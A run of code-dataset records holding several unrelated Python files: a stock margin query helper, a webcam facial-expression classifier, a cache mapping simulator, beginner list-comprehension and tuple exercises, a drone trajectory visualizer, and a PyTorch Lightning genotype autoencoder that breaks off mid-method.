{\"init_short_margin_ratio\": init_short_margin_ratio,\n \"keep_short_margin_ratio\": keep_short_margin_ratio}\n else:\n short_ratio_dict[stock_name] = {\"init_short_margin_ratio\": 1,\n \"keep_short_margin_ratio\": 1}\n return margin_ratio_dict, short_ratio_dict\n\n def get_option_params(self):\n \"\"\"\n 获取期权卖空参数\n :return:\n \"\"\"\n stock_option_params = dict()\n index_option_params = dict()\n option_params_sql = 'select a.option_product_type,a.content from hsdc.formula_configure a where a.status=0 and a.market=2'\n option_params_data = self.connect.get_fetchall(option_params_sql)\n for data in option_params_data:\n # data[0]==1 为股票期权\n if data[0] == 1:\n stock_option_params = json.loads(data[1])\n # data[0]==2 为系数行期权\n elif data[0] == 2:\n index_option_params = json.loads(data[1])\n return stock_option_params, index_option_params\n\n\nif __name__ == '__main__':\n print(get_root_dir(), get_dir())\n get = GetMoneyAndShare()\n get_book_balance = get.get_book_balance(2800004626)\n log.info(\"\\n asset_account_id:2800004626:账面余额:{}\".format(get_book_balance))\n get_account_holding = GetMoneyAndShare().get_account_holding(2800004626)\n log.info(\"\\n asset_account_id:2800004626:\\n 期权持仓情况:{},\\n 其他证券持仓情况:{}\".format(get_account_holding[0],\n get_account_holding[1]))\n get_stock_margin_ratio = get.get_stock_margin_ratio(2800004626)\n log.info(\"\\n asset_account_id:2800004626:\\n 证券持仓的margin_ratio 信息:{}\".format(get_stock_margin_ratio[0]))\n get_option_params = get.get_option_params()\n log.info(\"\\n 股票型期权参数信息:{},\\n 指数型期权参数信息:{}\".format(get_option_params[0], get_option_params[1]))\n","repo_name":"ronkyzhong/test_cx1","sub_path":"business/about_money_and_share.py","file_name":"about_money_and_share.py","file_ext":"py","file_size_in_byte":8077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"70275583603","text":"\"\"\"Here is the main class for the \"Facial Expression Recognition\" program. This class contains code which\ncontrols video capture, face detection, facial expression analysis, and image display. After creating an\ninstance of the ExpressionAnalyst class, a call to the run() method will allow the program to execute as\ndesigned.\n\"\"\"\n\nimport cv2\nimport tensorflow\nimport numpy as np\n\n\nclass ExpressionAnalyst:\n\n def __init__(self):\n \"\"\"Initializes an instance of the ExpressionAnalyst Class.\"\"\"\n\n # Static class attributes\n self.ret = None\n self.frame = None\n self.gray_frame = None\n self.faces = None\n self.labels = []\n self.label_dict = {\n 0: \"Anger/Disgust\", # More anger than disgust\n 1: \"Anger/Disgust\", # More disgust than anger\n 2: \"Fear/Surprise\", # More fear than surprise\n 3: \"Happiness\", # Only Happiness\n 4: \"Sadness\", # Only Sadness\n 5: \"Fear/Surprise\", # More surprise than fear\n 6: \"Neutral\" # Only Neutral\n }\n\n # Adjustable class attributes\n self.scale_factor = 1.5 # Used for detection of faces with haarcascade object\n self.min_neighbors = 5 # Used for detection of faces with haarcascade object\n\n self.roi_border_width = 2\n self.roi_border_color = (255, 0, 0) # BGR\n\n self.font = cv2.FONT_HERSHEY_PLAIN\n self.font_size = 2\n self.font_color = (255, 255, 255)\n self.font_stroke = 2\n\n # Load haarcascade object for facial detection\n self.face_cascade = cv2.CascadeClassifier(cv2.data.haarcascades + \"haarcascade_frontalface_alt2.xml\")\n\n # Initialize video capture from the default video camera\n self.capture = cv2.VideoCapture(0)\n\n # Load deep learning model\n self.model = tensorflow.keras.models.model_from_json(open(\"model.json\", \"r\").read())\n self.model.load_weights(\"model.h5\")\n\n def run(self):\n \"\"\"Executes video capture, face detection, facial expression analysis, and image display in sequence. Checks\n to see if the program should be terminated (happens when the user holds down the 'Q' key while the cursor\n is over the window).\n \"\"\"\n\n running = True\n\n while running:\n self.capture_frame()\n self.detect_faces()\n self.detect_expressions()\n self.display_window()\n\n if self.check_close_clicked():\n running = False\n\n def capture_frame(self):\n \"\"\"Extracts a frame from 'self.capture', the video capture from the default camera. Creates a grayscale\n version of the original frame.\n \"\"\"\n \n # Extract a frame\n self.ret, self.frame = self.capture.read()\n\n # Create a grayscale image from the original\n self.gray_frame = cv2.cvtColor(self.frame, cv2.COLOR_BGR2GRAY)\n\n def detect_faces(self):\n \"\"\"Detects regions of interest (i.e. faces) using the Haarcascade object. Resets the labels\n for each region of interest.\n \"\"\"\n\n # Detect the faces\n self.faces = self.face_cascade.detectMultiScale(self.gray_frame, self.scale_factor, self.min_neighbors)\n\n # Reset the face labels\n self.labels = []\n\n def detect_expressions(self):\n \"\"\"Creates grayscale images that represent each region of interest in 'self.faces'. Formats\n images for processing by deep learning model. The deep learning model then predicts which\n facial expression is being emoted by the face. The prediction is added to 'self.labels'.\n \"\"\"\n\n for (x, y, w, h) in self.faces:\n\n # Get a grayscale image of the face\n end_coord_x = x + w\n end_coord_y = y + h\n roi = self.gray_frame[y:end_coord_y, x:end_coord_x]\n\n # Format the grayscale image for processing with deep learning model\n roi = cv2.resize(roi, (48, 48))\n img_pixels = tensorflow.keras.preprocessing.image.img_to_array(roi)\n img_pixels = np.expand_dims(img_pixels, axis=0)\n img_pixels /= 255\n\n # Get a prediction from the deep learning model\n prediction = self.model.predict(img_pixels)\n\n # Convert prediction to a user-readable string.\n max_index = np.argmax(prediction)\n label_string = self.label_dict[max_index]\n\n # Add the string to 'self.labels'\n self.labels.append(label_string)\n\n def display_window(self):\n \"\"\"Displays a window which will contain the live video capture. This window will also display a\n rectangle around each face that is detected within it. The rectangle will have a label which shows\n the expression that is emoted by each face, as predicted by the deep learning model.\n \"\"\"\n\n # Draw regions of interest\n for (x, y, w, h), label in zip(self.faces, self.labels):\n end_coord_x = x + w\n end_coord_y = y + h\n\n # Display roi rectangle\n cv2.rectangle(self.frame, (x, y), (end_coord_x, end_coord_y), self.roi_border_color, self.roi_border_width)\n\n # Display roi label\n cv2.putText(self.frame, label, (x, y), self.font, self.font_size, self.font_color, self.font_stroke, cv2.LINE_AA)\n\n # Display the colored frame (not grayscale)\n cv2.imshow('frame', self.frame)\n\n def check_close_clicked(self):\n \"\"\"Checks to see if the 'Q' key has been pressed. The cursor must be over top of the window for this to\n be detected. If the key is pressed, terminate the cv2 window and live video capture.\n\n :return: True if 'q' has been pressed. False otherwise.\n \"\"\"\n\n # Check for close-window command\n if cv2.waitKey(20) & 0xFF == ord('q'):\n self.capture.release()\n cv2.destroyAllWindows()\n return True\n else:\n return False\n","repo_name":"Austin-T/Facial-Expression-Classifier","sub_path":"expression_analyst.py","file_name":"expression_analyst.py","file_ext":"py","file_size_in_byte":5980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"11612995487","text":"#!/usr/bin/python3 \r\nimport random, json, os\r\n\r\n\r\nclass Store_Jason:\r\n def __init__(self, filename):\r\n self.filename = filename\r\n \r\n def load(self):\r\n try:\r\n with open(self.filename, 'r') as f:\r\n return json.load(f)\r\n except FileNotFoundError:\r\n return {}\r\n def save(self, data):\r\n with open(self.filename, 'w') as f:\r\n try:\r\n json.dump(data, f)\r\n except TypeError:\r\n print(\"Data type not serializable.\")\r\n\r\n\r\nclass Cache:\r\n def __init__(self, mapping_technique, cache_size, block_size, main_memory_size=32, number_of_set=None):\r\n self.mapping_technique = mapping_technique\r\n self.cache_size = cache_size\r\n self.block_size = block_size\r\n self.main_memory_size = main_memory_size\r\n self.number_of_set = number_of_set\r\n self.cache_content = {}\r\n self.main_memory = {}\r\n self.file_cache = Store_Jason(\"cache_content.json\")\r\n self.file_main_memory = Store_Jason(\"main_memory.json\")\r\n self.cache_content = self.file_cache.load()\r\n self.main_memory = self.file_main_memory.load()\r\n\r\n if self.info_checker():\r\n self.specification()\r\n else:\r\n if os.path.exists(\"cache_content.json\"):\r\n os.remove(\"cache_content.json\")\r\n self.cache_content = {}\r\n if os.path.exists(\"main_memory.json\"):\r\n os.remove(\"main_memory.json\")\r\n self.main_memory = {}\r\n self.cache_content[\"Info\"] = {\"mapping_technique\": self.mapping_technique, \"cache_size\": self.cache_size, \"block_size\": self.block_size, \"main_memory_size\": self.main_memory_size, \"set\": self.number_of_set}\r\n self.file_cache.save(self.cache_content)\r\n self.main_memory[\"Info\"] = {\"mapping_technique\": self.mapping_technique, \"cache_size\": self.cache_size, \"block_size\": self.block_size, \"main_memory_size\": self.main_memory_size, \"set\": self.number_of_set}\r\n self.file_main_memory.save(self.main_memory)\r\n \r\n def specification(self):\r\n print()\r\n print(\"main memory size: {} word\".format(self.main_memory_size))\r\n print(\"cache size: {} word\".format(self.cache_size))\r\n print(\"block size: {} word\".format(self.block_size))\r\n print(\"mapping technique: {}\".format(self.mapping_technique))\r\n print()\r\n\r\n def visualize_cache(self):\r\n print()\r\n print(\"Cache content:\")\r\n for set_key, cache_list in self.cache_content.items():\r\n if set_key != \"Info\":\r\n for cache_tag, block_list in cache_list.items():\r\n print(f\"Set {set_key}, Cache {cache_tag}: {block_list}\")\r\n print()\r\n \r\n def visualize_main_memory(self):\r\n print()\r\n print(\"Main memory content:\")\r\n for block_tag, block in self.main_memory.items():\r\n if block_tag != \"Info\":\r\n print(f\"Block {block_tag}: {block}\")\r\n print()\r\n\r\n def generate_random_word(self):\r\n return random.randint(0, self.main_memory_size)\r\n\r\n def check_word_in_cache(self, word):\r\n block_tag = word // self.block_size\r\n for set_key, cache_list in self.cache_content.items():\r\n if set_key != \"Info\":\r\n for cache_tag, block_list in cache_list.items():\r\n if str(block_tag) == str(block_list[0]):\r\n print(f\"Word {word} found in cache block {block_tag}. cache hit.\")\r\n return True\r\n print(f\"Word {word} not found in cache. cache miss.\")\r\n return False\r\n\r\n def bring_word_from_memory(self, word):\r\n block_tag = str(word // self.block_size)\r\n if block_tag in self.main_memory.keys():\r\n print(f\"Word found in main memory. Bringing block {block_tag} to cache.\")\r\n return self.main_memory[block_tag]\r\n else:\r\n print(\"Word not found in main memory.\")\r\n return None\r\n\r\n def deliver_word_to_processor(self, word):\r\n block_tag = word // self.block_size\r\n address = word % self.block_size\r\n total_line = self.cache_size // self.block_size\r\n if self.check_word_in_cache(word):\r\n block_tag = word // self.block_size\r\n print(f\"Delivering word {word} contain {block[address]} from cache block {block_tag} to processor.\")\r\n else:\r\n block = self.bring_word_from_memory(word)\r\n if block is not None:\r\n if self.mapping_technique == \"direct\":\r\n self.direct_mode(block_tag, block, total_line)\r\n elif self.mapping_technique == \"associative\":\r\n self.associative_mode(block_tag, block, total_line)\r\n elif self.mapping_technique == \"set-associative\":\r\n self.set_associative_mode(block_tag, block, total_line)\r\n print(f\"Delivering word {word} contain {block[address]} from main memory block {block_tag} to processor.\")\r\n else:\r\n print(f\"Word {word} not found in main memory.\")\r\n \r\n self.file_cache.save(self.cache_content)\r\n self.cache_content = self.file_cache.load()\r\n\r\n def fill_main_memory(self):\r\n if len(self.main_memory) == self.main_memory_size // self.block_size:\r\n print(\"Main memory already filled.\")\r\n return\r\n block_number = self.main_memory_size // self.block_size\r\n\r\n for i in range(block_number):\r\n block = []\r\n for j in range(self.block_size):\r\n block.append(self.generate_random_word())\r\n self.main_memory[str(i)] = block\r\n self.file_main_memory.save(self.main_memory)\r\n self.main_memory = self.file_main_memory.load()\r\n \r\n def fill_cache(self):\r\n total_line = self.cache_size // self.block_size\r\n number_mult = total_line // self.number_of_set\r\n for i in range(self.number_of_set):\r\n self.cache_content[i] = {}\r\n for j in range(number_mult):\r\n self.cache_content[i][str(i * number_mult + j)] = [\"free\"]\r\n self.file_cache.save(self.cache_content)\r\n self.cache_content = self.file_cache.load()\r\n\r\n def info_checker(self):\r\n infos = {\"mapping_technique\": self.mapping_technique, \"cache_size\": self.cache_size, \"block_size\": self.block_size, \"main_memory_size\": self.main_memory_size, \"set\": self.number_of_set}\r\n try:\r\n result = all(infos[key] == self.cache_content[\"Info\"][key] for key in infos)\r\n return result\r\n except KeyError:\r\n return False\r\n \r\n def print_word_content(self,word):\r\n for block in self.cache_content.values():\r\n if word in block:\r\n print(f\"Word {word} found in cache block {self.cache_content.keys()}\")\r\n return\r\n print(f\"Word {word} not found in cache.\")\r\n\r\n def direct_mode(self, block_tag, block, total_line):\r\n cache_number = block_tag % total_line\r\n if self.cache_content[str(0)][str(cache_number)][0] == \"free\":\r\n self.cache_content[str(0)][str(cache_number)] = [block_tag, block]\r\n else:\r\n self.cache_content[str(0)][str(cache_number)].clear()\r\n self.cache_content[str(0)][str(cache_number)].append(block_tag)\r\n self.cache_content[str(0)][str(cache_number)].append(block)\r\n \r\n def associative_mode(self, block_tag, block, total_line):\r\n cache_number = block_tag % total_line\r\n number_mult = total_line // self.number_of_set\r\n # define range where is set_key will be valid\r\n start_cache = 0 * number_mult\r\n end_cache = start_cache + number_mult - 1\r\n for i in range(start_cache, end_cache + 1):\r\n if self.cache_content[str(0)][str(i)][0] == 'free':\r\n self.cache_content[str(0)][str(i)].clear()\r\n self.cache_content[str(0)][str(i)].append(block_tag)\r\n self.cache_content[str(0)][str(i)].append(block)\r\n return\r\n self.replacmnet(block_tag, block, start_cache, end_cache)\r\n\r\n def set_associative_mode(self, block_tag, block, total_line):\r\n # getting where is the key\r\n set_key = block_tag % (self.number_of_set)\r\n number_mult = total_line // self.number_of_set\r\n # define range where is set_key will be valid\r\n start_cache = set_key * number_mult\r\n end_cache = start_cache + number_mult - 1\r\n\r\n # Assosiation implement\r\n for i in range(start_cache, end_cache + 1):\r\n if self.cache_content[str(set_key)][str(i)][0] == 'free':\r\n self.cache_content[str(set_key)][str(i)].clear()\r\n self.cache_content[str(set_key)][str(i)].append(block_tag)\r\n self.cache_content[str(set_key)][str(i)].append(block)\r\n return\r\n self.replacmnet(block_tag, block, start_cache, end_cache, set_key)\r\n\r\n def replacmnet(self, block_tag, block, start_cache, end_cache, set_key=0):\r\n replacement_technique = repacemnt_memu()\r\n if replacement_technique == \"FIFO\":\r\n for i in range(start_cache, end_cache + 1):\r\n if end_cache == i:\r\n self.cache_content[str(set_key)][str(end_cache)].clear()\r\n self.cache_content[str(set_key)][str(end_cache)] =[block_tag, block]\r\n else:\r\n self.cache_content[str(set_key)][str(i)].clear()\r\n self.cache_content[str(set_key)][str(i)].append(self.cache_content[str(set_key)][str(i + 1)][0])\r\n self.cache_content[str(set_key)][str(i)].append(self.cache_content[str(set_key)][str(i + 1)][1])\r\n elif replacement_technique == \"LIFO\":\r\n self.cache_content[str(set_key)][str(end_cache)].clear()\r\n self.cache_content[str(set_key)][str(end_cache)] = [block_tag, block]\r\n else:\r\n print(\"Invalid replacement technique selected. or not listed in menu.\")\r\n\r\n def sort_by_key(self):\r\n info = self.cache_content.pop(\"Info\", None) # remove the \"Info\" key and store it in a separate variable\r\n sorted_temp = dict(sorted(self.cache_content.items(), key=lambda x: int(x[0]))) # sort by numerical keys\r\n self.cache_content.clear()\r\n self.cache_content[\"Info\"] = info # add \"Info\" back in as the first key\r\n self.cache_content.update(sorted_temp) # add the sorted keys back in\r\n \r\n\r\n\r\ndef menu():\r\n print(\"💾Welcome to the cache simulator!\")\r\n print(\"Please select the mapping technique:\")\r\n print(\"1. Direct mapping\")\r\n print(\"2. Associative mapping\")\r\n print(\"3. Set-associative mapping\")\r\n print(\"L. For load from pervious\")\r\n mapping_technique = input(\"Your choice: \")\r\n if mapping_technique == \"1\":\r\n mapping_technique = \"direct\"\r\n cache = inputer(mapping_technique, 1)\r\n elif mapping_technique == \"2\":\r\n mapping_technique = \"associative\"\r\n cache = inputer(mapping_technique, 1)\r\n elif mapping_technique == \"3\":\r\n mapping_technique = \"set-associative\"\r\n number_of_set = int(input(\"Enter Number of Set: \"))\r\n cache = inputer(mapping_technique, number_of_set)\r\n elif mapping_technique == \"L\" or mapping_technique == \"l\":\r\n loader = Store_Jason(\"main_memory.json\")\r\n MM_load = loader.load()\r\n try:\r\n cache = Cache(MM_load[\"Info\"][\"mapping_technique\"], \r\n int(MM_load[\"Info\"][\"cache_size\"]), \r\n int(MM_load[\"Info\"][\"block_size\"]), \r\n int(MM_load[\"Info\"][\"main_memory_size\"]), \r\n int(MM_load[\"Info\"][\"set\"]))\r\n except KeyError:\r\n print(\"No previous data found.\")\r\n exit()\r\n else:\r\n print(\"Invalid choice. Exiting.\")\r\n exit()\r\n\r\n while True:\r\n print()\r\n print(\"Please select an option:\")\r\n print(\"1. Deliver word to processor\")\r\n print(\"2. Visualize cache\")\r\n print(\"3. Visualize main memory\")\r\n print(\"4. Exit (Q/q/4)\")\r\n choice = input(\"Your choice: \")\r\n if choice == \"1\":\r\n word = int(input(\"Please enter the word: \"))\r\n cache.deliver_word_to_processor(word)\r\n elif choice == \"2\":\r\n cache.visualize_cache()\r\n elif choice == \"3\":\r\n cache.visualize_main_memory()\r\n elif choice == \"Q\" or choice == \"q\" or choice == \"4\":\r\n print(\"Exiting.☠\")\r\n break\r\n\r\ndef repacemnt_memu():\r\n print(\"Please select the replacement technique:\")\r\n print(\"1. FIFO\")\r\n print(\"2. LIFO\")\r\n replacement_technique = input(\"Your choice: \")\r\n if replacement_technique == \"1\":\r\n replacement_technique = \"FIFO\"\r\n elif replacement_technique == \"2\":\r\n replacement_technique = \"LIFO\"\r\n else:\r\n print(\"Invalid choice. Exiting.\")\r\n return None\r\n return replacement_technique\r\n\r\ndef inputer(mapping_technique, number_of_set=None):\r\n cache_size = int(input(\"Please enter the cache size: \"))\r\n block_size = int(input(\"Please enter the block size: \"))\r\n main_memory_size = int(input(\"Please enter the main memory size: \"))\r\n cache = Cache(mapping_technique, cache_size, block_size, main_memory_size, number_of_set)\r\n cache.fill_main_memory()\r\n cache.fill_cache()\r\n cache.visualize_cache()\r\n cache.visualize_main_memory()\r\n return cache\r\n\r\nif __name__ == \"__main__\":\r\n # Menu\r\n menu()\r\n","repo_name":"robelandro/Comparc_project","sub_path":"cache_mapping.py","file_name":"cache_mapping.py","file_ext":"py","file_size_in_byte":13599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"25943020991","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[9]:\n\n\n#'x', 'xx', 'xxx', 'xxxx', 'y', 'yy', 'yyy', 'yyyy', 'z', 'zz', 'zzz', 'zzzz'\nlc1=[i*j for i in 'xyz' for j in range(1,5)]\nlc1\n\n\n# In[13]:\n\n\n#['x', 'y', 'z', 'xx', 'yy', 'zz', 'xxx', 'yyy', 'zzz', 'xxxx', 'yyyy', 'zzzz'] \nlc2 = [i*j for j in range(1,5) for i in 'xyz']\nlc2\n\n\n# In[23]:\n\n\n#[[2], [3], [4], [3], [4], [5], [4], [5], [6]]\nlc3=[[i+j] for i in range(2,5) for j in range(3)]\nlc3\n\n\n# In[31]:\n\n\n#[[2, 3, 4, 5], [3, 4, 5, 6],[4, 5, 6, 7], [5, 6, 7, 8]]\nlc4= [[i+j for j in range(2,6)] for i in range(4)]\nlc3\n\n\n# In[75]:\n\n\n#[(1, 1), (2, 1), (3, 1), (1, 2), (2, 2), (3, 2), (1, 3), (2, 3), (3, 3)]\nlc5=[(j,i) for i in range(1,4) for j in range(1,4)]\nlc4\n\n\n# In[1]:\n\n\n#Write a Python program to implement your own myfilter() function which works exactly like Python's built-in function filter()\ndef myfilter(fn,l):\n m=[]\n if fn==None:\n for j in l:\n if j in [0,None,[],{},False]:\n pass\n else:\n yield(j)\n \n else:\n for k in l:\n if fn(k) is True:\n yield(k)\n\n\n# In[ ]:\n\n\n#Write a Python program to implement your own myreduce() function which works exactly like Python's built-in function filter()\ndef myreduce(fn,iterable,init=None):\n i=iter(iterable)\n if init is None:\n value=next(i)\n \n else:\n value=init\n for j in i:\n print(j)\n \n value=fn(value,j)\n return value\n\n","repo_name":"chay242/Python-Assignments_iNeuron","sub_path":"python 3 Assignment.py","file_name":"python 3 Assignment.py","file_ext":"py","file_size_in_byte":1476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"719057704","text":"\r\na = ('anushka', 'virat') #creating a tuple\r\nb = 'anushka' , 'virat'\r\n#print(a)\r\n#print(b)\r\n\r\na = (1,3,5,7,9,11,[12,13,14],15,17,19)\r\n#b = (20,21,22,23)\r\n#print(a[1]) #using indexing and printing specific value\r\n#print(a[3])\r\n#print(a[-2]) #this is negative indexing\r\n\r\n#print(a[1:8]) #slicing a tuple \r\n#print(a[1:])\r\n#print(a[:5])\r\n\r\na[6][2] = 20 #Nested object of a tuple\r\n#print(a)\r\n#print(a+b) #Concatenation of tuples \r\n\r\n#del b\r\n#print(b) # Name Error; because b is deleted\r\n","repo_name":"anushkadube/Python_programs","sub_path":"tuple_in_python.py","file_name":"tuple_in_python.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5678398268","text":"import warnings\n\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom mpl_toolkits.mplot3d.art3d import Line3DCollection\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport math\n\n# to ignore warnings TODO: fix this propperly\nfrom matplotlib.axes._axes import _log as matplotlib_axes_logger\n\nimport yaml\n\nimport uav_trajectory\n\nCOLOR = [[0.5, 0.5, 1], [1, 0.5, 0.5], [0.5, 1, 0.5], [0.5, 1, 1], [0.7, 0.7, 0.5], [0.2, 0.2, 0.2], [0.5, 0.2, 0.8], [0.4, 0.4, 0.1]]\nVISIONEN_X_LENGTH = 11.70\nVISIONEN_Y_LENGTH = 11.70\nVISIONEN_Z_LENGTH = 5.70\n\n#Keep simulation plot inside these limits (in meters).\nX_LIMIT = 2.5\nY_LIMIT = 2.5\nZ_LIMIT = 3.5\n\nclass VisMatplotlib:\n def __init__(self, flags=None):\n self.fig = plt.figure()\n self.ax = self.fig.add_subplot(111, projection='3d')\n self.ax.set_xlim([-VISIONEN_X_LENGTH/2, VISIONEN_X_LENGTH/2]) # here the measurements for visionen should be added\n self.ax.set_ylim([-VISIONEN_Y_LENGTH/2, VISIONEN_Y_LENGTH/2])\n self.ax.set_zlim([0, VISIONEN_Z_LENGTH])\n self.ax.set_xlabel(\"X [m]\")\n self.ax.set_ylabel(\"Y [m]\")\n self.ax.set_zlabel(\"Z [m]\")\n self.plot = None\n self.timeAnnotation = self.ax.annotate(\"Time\", xy=(0, 0), xycoords='axes fraction', fontsize=12, ha='right', va='bottom')\n # self.yawAngnotation = self.ax.annotate(\"Yaw drone 1: \", xy=(1, 1), xycoords='axes fraction', fontsize=12, ha='right', va='bottom')\n\n self.line_color = 0.3 * np.ones(3)\n #Reading manual or autonomous control\n self.manual_mode = 0\n if flags == \"--manual\":\n self.manual_mode = 1\n\n matplotlib_axes_logger.setLevel('ERROR')\n \n\n # Lazy-constructed data for connectivity graph gfx.\n self.graph_edges = None\n self.graph_lines = None\n self.graph = None\n\n # print(self.manual_mode)\n if not self.manual_mode == 1:\n # read which drones and used and if they should be plotted or not from plot_trajectories.yaml\n self.drone_lst = []\n self.plot_lst = []\n file = \"plot_trajectories.yaml\"\n stream = open(file, 'r')\n data = yaml.safe_load_all(stream)\n for aa in data:\n settings = aa[\"settings\"]\n for key in settings:\n self.drone_lst.append(key[\"i\"])\n self.plot_lst.append(key[\"plot\"])\n\n\n # read waypoints file\n waypoints_lst = []\n self.wayx_lst = [] \n self.wayy_lst = [] \n self.wayz_lst = []\n i = 0\n for drone in self.drone_lst:\n waypoints_lst.append(np.loadtxt(\"../../../../../GUI/points_csv/drone\"+str(drone)+\"waypoints_local.csv\", delimiter=\",\", usecols=range(3)))\n self.wayx_lst.append([row[0] for row in waypoints_lst[i]])\n self.wayy_lst.append([row[1] for row in waypoints_lst[i]])\n self.wayz_lst. append([row[2] for row in waypoints_lst[i]])\n i += 1\n\n # read trajectory files and do some stuff\n self.traj_lst = []\n self.evals_lst = []\n i = 0\n for drone in self.drone_lst:\n self.traj_lst.append(uav_trajectory.Trajectory())\n self.traj_lst[i].loadcsv(\"drone\"+str(drone)+\"trajectory.csv\")\n\n # do some stuff\n ts = np.arange(0, self.traj_lst[i].duration, 0.01)\n self.evals_lst.append(np.empty((len(ts), 15)))\n for t, j in zip(ts, range(0, len(ts))):\n e = self.traj_lst[i].eval(t)\n if(not e == None):\n self.evals_lst[i][j, 0:3] = e.pos\n self.evals_lst[i][j, 12] = e.yaw\n \n i += 1\n\n\n\n def setGraph(self, edges):\n \"\"\"Set edges of graph visualization - sequence of (i,j) tuples.\"\"\"\n\n # Only allocate new memory if we need to.\n n_edges = len(edges)\n if self.graph_edges is None or n_edges != len(self.graph_edges):\n self.graph_lines = np.zeros((n_edges, 2, 3))\n self.graph_edges = edges\n\n # Lazily construct Matplotlib object for graph.\n if self.graph is None:\n self.graph = Line3DCollection(self.graph_lines, edgecolor=self.line_color)\n self.ax.add_collection(self.graph)\n\n def showEllipsoids(self, radii):\n warnings.warn(\"showEllipsoids not implemented in Matplotlib visualizer.\")\n\n def update(self, t, crazyflies):\n xs = []\n ys = []\n zs = []\n cs = []\n xs_yaw = []\n ys_yaw = []\n cs_yaw = []\n i = 0\n for cf in crazyflies:\n x, y, z = cf.position()\n yaw = cf.yaw()\n yaw_arrow = [math.sin(yaw), math.cos(yaw)]\n arrow_size = 0.3\n color = cf.ledRGB\n color = COLOR[i]\n i += 1\n if i > 7:\n i = 0\n xs.append(x)\n ys.append(y)\n zs.append(z)\n cs.append(color)\n xs_yaw.append(x+(arrow_size*yaw_arrow[0]))\n ys_yaw.append(y+(arrow_size*yaw_arrow[1]))\n cs_yaw = (0,0,0)\n\n if self.plot is None:\n self.plot = self.ax.scatter(xs, ys, zs, c=cs, marker='X') # plot drones \n self.plot_yaw = self.ax.scatter(xs_yaw,ys_yaw,zs, c = cs_yaw, marker ='.') #Plot yaw points drones\n if not self.manual_mode == 1:\n for d in range(len(self.drone_lst)):\n if(self.plot_lst[d] == 2):\n for p in range(len(self.wayx_lst[d])): # plot waypoints\n self.ax.scatter3D(self.wayx_lst[d][p], self.wayy_lst[d][p], self.wayz_lst[d][p], c=COLOR[d], s=5)\n self.ax.plot(self.evals_lst[d][:,0], self.evals_lst[d][:,1], self.evals_lst[d][:,2], linewidth=0.5, c=COLOR[d])\n \n else:\n # TODO: Don't use protected members.\n self.plot._offsets3d = (xs, ys, zs)\n self.plot.set_facecolors(cs)\n self.plot.set_edgecolors(cs)\n self.plot._facecolor3d = self.plot.get_facecolor()\n self.plot._edgecolor3d = self.plot.get_edgecolor()\n\n self.plot_yaw._offsets3d = (xs_yaw, ys_yaw, zs)\n self.plot_yaw.set_facecolors(cs_yaw)\n self.plot_yaw.set_edgecolors(cs_yaw)\n self.plot_yaw._facecolor3d = self.plot_yaw.get_facecolor()\n self.plot_yaw._edgecolor3d = self.plot_yaw.get_edgecolor()\n\n if self.graph is not None:\n # Update graph line segments to match new Crazyflie positions.\n for k, (i, j) in enumerate(self.graph_edges):\n self.graph_lines[k, 0, :] = xs[i], ys[i], zs[i]\n self.graph_lines[k, 1, :] = xs[j], ys[j], zs[j]\n self.graph.set_segments(self.graph_lines)\n\n self.timeAnnotation.set_text(\"{} s\".format(round(t)))\n cf = crazyflies[0]\n # self.yawAnnotation.set_text(\"Drone 1 yaw: {:.2f} degrees\".format((cf.state.yaw*180/math.pi)%360))\n plt.pause(0.0001)\n\n def render(self):\n warnings.warn(\"Rendering video not supported in VisMatplotlib yet.\")\n return None\n","repo_name":"CrazyTrain2022/CrazyTrain2022","sub_path":"setup/copy_files/visualizer/visMatplotlib.py","file_name":"visMatplotlib.py","file_ext":"py","file_size_in_byte":7308,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"13033958477","text":"import torch\nfrom torch import nn, optim\nimport pytorch_lightning as pl\nimport torch.nn.functional as F\n\n\nclass ChildModel (pl.LightningModule):\n def __init__(self, input_dim, n_hidden, lr = 1e-3, drop = 0.25, reg = 1e-5):\n super().__init__()\n self.encoder = nn.Sequential(nn.Dropout(p=self.hparams.drop), nn.Linear(input_dim, n_hidden), nn.ReLU())\n self.decoder = nn.Sequential(nn.Linear(n_hidden, input_dim), nn.ReLU(), \n nn.Linear(input_dim, 3*input_dim),\n ReshapeLogSoftmax(n_snps = input_dim))\n self.save_hyperparameters()\n\n def forward (self, features):\n reconstruction = self.encoder(features)\n reconstruction = self.decoder(reconstruction)\n return reconstruction\n \n def training_step(self, batch, batch_idx):\n # Training_step defined the train loop.\n # It is independent of forward\n x,_ = batch\n z = self.encoder(x)\n x_hat = self.decoder(z)\n loss = F.nll_loss(x_hat, torch.round(x).to(int))\n # Logging to TensorBoard by default\n self.log(f\"Batch: {batch_idx} Train Loss\", loss, on_epoch = True)\n return loss\n \n def configure_optimizers(self): \n return torch.optim.Adam(self.parameters(), lr=self.hparams.lr, weight_decay = self.hparams.reg)\n\nclass ReshapeLogSoftmax(nn.Module):\n def __init__(self, n_snps):\n super().__init__()\n self.n_snps = n_snps\n \n def forward(self, x):\n x = x.view(-1, 3, self.n_snps)\n return F.log_softmax(x, dim=1)\n\nclass ParentModel(pl.LightningModule):\n def __init__(self, modelA, modelB, modelC, lr=1e-3, reg=1e-5):\n super(ParentModel, self).__init__()\n self.modelA = modelA\n self.modelB = modelB\n self.modelC = modelC\n\n self.lr = lr\n self.regularization = reg\n\n def forward(self, x1, x2):\n x1 = self.modelA(x1)\n x2 = self.modelB(x2)\n x = torch.cat((x1, x2), dim=1)\n x = self.modelC(x)\n return x\n\n def training_step(self, batch, batch_idx):\n x1, x2 = batch\n z1 = self.modelA(x1)\n z2 = self.modelB(x2)\n\n z = torch.cat((z1, z2), dim=1)\n x_hat = self.modelC(z)\n\n x12 = torch.concat((x1, x2), dim=1)\n\n loss = F.nll_loss(x_hat, torch.round(x12).to(int))\n\n accuracy = (x12 == x_hat.argmax(dim=1)).to(float).mean(dim=0).mean()\n\n # Logging to TensorBoard by default\n 